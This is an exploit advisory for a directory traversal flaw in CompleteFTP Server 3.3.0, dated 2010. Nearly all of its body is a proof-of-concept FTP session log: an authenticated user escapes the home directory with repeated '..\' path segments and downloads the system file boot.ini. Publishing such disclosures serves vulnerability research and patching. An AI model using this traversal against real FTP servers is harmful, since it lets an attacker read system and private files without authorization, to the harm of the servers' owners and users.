18 lines
No EOL
684 B
Text
18 lines
No EOL
684 B
Text
# Exploit Title: CompleteFTP Server Directory Traversal
|
|
# Date: 2010-03-30
|
|
# Author: zombiefx darkernet@gmail.com<mailto:darkernet@gmail.com>
|
|
# Software Link: http://www.enterprisedt.com/products/completeftp/download/CompleteFTPSetup.exe
|
|
# Version: CompleteFTP Server v 3.3.0
|
|
# Tested on: Windows XP SP3
|
|
# CVE :
|
|
# Code :
|
|
230 User test logged in.
|
|
ftp> pwd
|
|
257 "/Home/test" is current directory.
|
|
ftp> cd ..\..\..\..\..\..\..\..\
|
|
250 Directory changed to "/Home/test/..\..\..\..\..\..\..\..\".
|
|
ftp> get boot.ini
|
|
200 PORT command successful.
|
|
150 Opening ASCII mode data connection for boot.ini
|
|
226 Transfer complete.
|
|
ftp: 215 bytes received in 0.14Seconds 1.54Kbytes/sec. |